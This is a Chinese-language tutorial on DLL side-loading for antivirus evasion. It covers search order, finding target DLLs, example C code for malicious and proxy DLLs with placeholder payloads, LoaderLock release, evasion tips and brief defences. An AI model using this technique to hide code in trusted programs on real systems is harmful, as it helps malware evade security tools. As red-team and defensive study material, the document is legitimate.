免杀基础-dll侧加载
字数 1721 2025-08-29 08:30:24
DLL侧加载免杀技术详解
一、DLL加载顺序基础
1. Windows DLL搜索顺序
Windows系统加载DLL时遵循特定的搜索顺序,分为两种情况:
SafeDllSearchMode启用时(默认启用)的搜索顺序:
- 应用程序所在目录
- 系统目录(
C:\Windows\System32) - 16位系统目录(
C:\Windows\System) - Windows目录(
C:\Windows) - 当前工作目录
- PATH环境变量中列出的目录
SafeDllSearchMode禁用时的搜索顺序:
- 应用程序所在目录
- 当前工作目录
- 系统目录
- 16位系统目录
- Windows目录
- PATH环境变量中列出的目录
2. Known DLLs机制
- 位于注册表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs - 这些DLL默认从
C:\Windows\System32下加载 - 如果内存中已加载同名DLL,系统会直接使用已加载的DLL而不再搜索
二、DLL侧加载技术原理
DLL侧加载(Side-Loading)利用Windows的DLL搜索顺序,将恶意DLL放置在应用程序目录或搜索路径中更优先的位置,使得合法程序加载时优先加载我们的DLL而非系统目录中的合法DLL。
1. 技术分类
基于DllMain的实现
- 在DLL的入口函数DllMain中执行恶意代码
- 缺点:DllMain执行时会加锁,必须等待前一个DLL加载完成后才能加载下一个DLL
基于导出函数的实现
- 实现目标程序实际调用的导出函数
- 优点:不会受到加载锁的限制,执行效率更高
三、实践步骤
1. 识别目标程序的DLL依赖
使用Process Monitor工具观察DLL加载情况:
- 配置Filter:
- 操作(Operation):
Load Image - 进程名(Process Name):目标进程名称
- 操作(Operation):
- 重点关注:
- 不在Known DLLs列表中的DLL
- 从非系统目录加载的DLL
2. 创建恶意DLL
简单示例(基于DllMain):
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
MessageBox(NULL, "DLL Loaded!", "Alert", MB_OK);
}
return TRUE;
}
编译后将DLL重命名为目标程序会加载的DLL名称(如dbgcore.dll)
基于导出函数的实现(以netplwiz.exe为例):
- 使用调试器分析netplwiz.exe加载的netplwiz.dll的导出函数
- 发现程序会调用
UsersRunDllW函数 - 实现该导出函数:
// 注意不要使用extern "C",避免名称粉碎
__declspec(dllexport) void UsersRunDllW() {
MessageBox(NULL, "Malicious Code Executed!", "Alert", MB_OK);
// 这里可以执行任意恶意代码
}
3. DLL代理技术
为了使程序仍能正常执行原有功能,需要使用DLL代理技术:
- 将原始DLL重命名(如
iscsidscOri.dll) - 创建代理DLL,实现:
- 恶意代码
- 将所有导出函数转发到原始DLL
示例代码:
#pragma comment(linker,"/EXPORT:AddISNSServerA=iscsidscOri.AddISNSServerA")
#pragma comment(linker,"/EXPORT:AddISNSServerW=iscsidscOri.AddISNSServerW")
// 其他所有导出函数都这样转发
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// 执行恶意代码
system("calc.exe");
}
return TRUE;
}
四、高级技巧:处理LoaderLock问题
在DllMain中执行复杂操作可能导致死锁,需要释放LoaderLock:
1. 使用LdrUnlockLoaderLock
typedef NTSTATUS (NTAPI *LdrUnlockLoaderLockFunc)(ULONG_PTR Cookie, ULONG Flags);
void ReleaseLoaderLock() {
HMODULE hNtDll = GetModuleHandle("ntdll.dll");
LdrUnlockLoaderLockFunc pLdrUnlockLoaderLock =
(LdrUnlockLoaderLockFunc)GetProcAddress(hNtDll, "LdrUnlockLoaderLock");
if (pLdrUnlockLoaderLock) {
pLdrUnlockLoaderLock(0, 1); // 注意cookie和flags的限制
}
}
2. 直接调用LdrpReleaseLoaderLock(未导出函数)
需要通过特征码搜索该函数地址:
// 特征码搜索示例
ULONG_PTR FindLdrpReleaseLoaderLock() {
// 实现特征码搜索逻辑...
}
void ReleaseLoaderLockAdvanced() {
typedef NTSTATUS (NTAPI *LdrpReleaseLoaderLockFunc)(ULONG Flags);
LdrpReleaseLoaderLockFunc pLdrpReleaseLoaderLock =
(LdrpReleaseLoaderLockFunc)FindLdrpReleaseLoaderLock();
if (pLdrpReleaseLoaderLock) {
pLdrpReleaseLoaderLock(0);
}
}
五、实战建议
-
目标选择:
- 优先选择第三方签名程序而非系统程序(
C:\Windows\System32下的程序) - 系统程序从非系统目录加载DLL会显得可疑
- 优先选择第三方签名程序而非系统程序(
-
隐蔽性:
- 实现所有导出函数,避免程序功能异常
- 使用DLL代理技术保持程序原有功能
-
免杀增强:
- 对恶意DLL进行代码混淆
- 使用延迟加载技术
- 实现内存中执行payload而非直接调用可疑API
六、防御措施
- 启用SafeDllSearchMode(默认已启用)
- 设置
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode为1 - 使用CWDIllegalInDllSearch注册表值限制从当前目录加载DLL
- 监控非系统目录的DLL加载行为
- 定期检查KnownDLLs注册表项
通过深入理解DLL加载机制和侧加载技术,安全研究人员可以更好地防御此类攻击,而红队人员则可以更有效地实施测试。